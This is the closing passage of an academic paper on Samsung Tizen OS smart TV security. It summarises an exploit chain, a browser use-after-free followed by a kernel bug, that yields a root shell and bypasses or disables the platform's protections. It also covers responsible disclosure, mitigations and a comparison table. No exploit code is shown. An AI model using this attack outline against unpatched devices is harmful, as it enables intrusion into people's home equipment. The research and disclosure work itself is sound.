(relatively) old vulnerabilities (CVE-2014-1303 and CVE-2015-1805) to illustrate the issue. As a result, those specific flaws serve only demonstrative purposes and do not pose a severe risk to the user. At the same time, as it is pretty common for people to use TVs for 10 or more years, sometimes not updating their firmwares at all, we will not present details about our recent findings as it might endanger users. Therefore, through this publication, we hope to raise awareness about security issues in modern smart TVs and hopefully increase the percentage of people who regularly update their firmware.




8. Conclusions


In this paper, it was presented how a root shell can be executed with all smart TV variants of Tizen OS security mechanisms enabled (Section 5.2.4). We also discussed Tizen OS security model (Section 3) and explained how different mechanism can be bypassed (Section 5.1.1) or completely disabled (Section 5.2.5). To achieve that, we first exploited a vulnerability in the system web browser (Section 5.1), and then used that to execute a kernel-level exploit (Section 5.2). Although we found bugs even in the newest model of Samsung smart TVs, we decided that to follow the principle of responsible disclosure and not endanger users’ security in a meaningful manner (Section 7), we described issues found in the 2015 model, J, as vendor issued necessary patches over six years ago. Moreover, specific vulnerabilities we described in this paper (CVE-2014-1303 and CVE-2015-1805) are used only for illustrative purposes and are not in any way crucial for our methods of bypassing Tizen OS security mechanisms. We compared developed algorithms and the impact they have on the Tizen OS security model (Figure 4) with results obtained by other researchers (Section 6). In our research, applying proposed algorithms of disabling Tizen OS security mechanisms did not affect the stability of the smart TV. Moreover, our methods were successfully tested by many SamyGO community members without any issues.



8.1. Possible Mitigation Techniques


Attack described in this paper consists of application of two separate vulnerabilities: CVE-2014-1303 (Section 5.1) and CVE-2015-1805 (Section 5.2). The first one is caused by UAF (Use-After-Free) in CSS handling of the JavaScript engine. Many techniques [62,63,64] can be used for mitigation of such attacks. However, those are still at the research stage and implementing them in commercial products requires a lot of further research. At the same time, such security mechanisms can have a significant impact on system performance, which, in the case of IoT, might make it not applicable [65]. In the case of the kernel security issue (CVE-2015-1805), the situation is even more complex since this bug is caused by kernel “misbehaviour”. Kernel is entitled to have full access to system memory, and it already has a lot of mechanisms [66,67,68,69] that should prevent such issues. Therefore, we do not think that there is currently any other reliable way of dealing with similar attacks other than regularly installing firmware updates.




8.2. Significance of Further Research in this Field and the Current State of the Industry


One of the most important things connected to conducting security research is to follow ethical rules. We explained them in detail in Section 7. It is crucial, especially in the case of TVs, because people use them for many years and smart TVs are not an exception to that rule. But there is a one important difference between traditional TVs and smart TVs. In the case of conventional TV, one does not need to upgrade its firmware, and there is actually nothing to do with them except for watching. In the case of smart TV situation is different, now our TV is connected to the internet, and therefore vulnerable to attacks. So it needs to be updated regularly but people are not used to it yet, and they rarely do it. We hope that through such papers we will be able to convince users to perform more regular updates of their devices, and at the same time, make the details of our work accessible to other smart TV manufacturers whose products we were not able to check personally.



Issues described in the paper are no longer present in recent versions of devices produced by the manufacturer. The detected flaws of security in tested systems were reported to the smart TV manufacturer, which positively impacted smart TV devices. The security level of smart TVs increased significantly over the years. The manufacturer released the patches and fixes concerning presented attack scenarios, and now users are not in danger anymore. But, after some modification similar approach may be used on newer devices, which was also reported to the manufacturer. However, because of the ethical issues described earlier (Section 7) and Samsung Bug Bounty program rules (https://samsungtvbounty.com, accessed on 15 December 2021), we cannot reveal them yet.



We are continuously working on problems connected with smart TV security or other types of IoT devices. Security is never a closed topic, not only in the case of smart TVs, but also traditional PCs. Some could think that PCs were always present in our life, so their security should be close to perfection, but still, there can be a simple bug that can affect most of them [70]. It is one thing is to rely on security mechanisms delivered by smart TVs manufacturers, and another to have self-awareness when using these devices.
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Figure 1. US smart TV market share [16]. 
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Figure 2. Global smart TV shipments by operating system [21]. 
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Figure 3. Simplified model of Tizen security system. 
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Figure 4. A simplified Tizen OS security model that illustrates bypassed (yellow) and completely disabled (red) security mechanisms. 
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Table 1. Comparison of other works with developed methods. Bold font illustrates preferable result.
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Security

	
Acquired Access Level

	
DEP User Level

	
DEP Kernel Level

	
SFD

	
UEP

	
SMACK




	
Method

	






	
Using Native Application SDK [23]

	
User

	
Bypassed

	
Active

	
Active

	
Active

	
Active




	
Exploitation of Tizen OS specific vulnerabilities [25]

	
User

	
Bypassed

	
Active

	
Active

	
Bypassed

	
Active




	
Abuse of Tizen API [26]

	
User

	
Active

	
Active

	
Active

	
Active

	
Active




	
General security issues [22,24,27]

	
User

	
Active

	
Active

	
Active

	
Active

	
Active




	
Developed methods

	
Root & Kernel

	
Bypassed

	
Bypassed

	
Disabled

	
Disabled

	
Disabled
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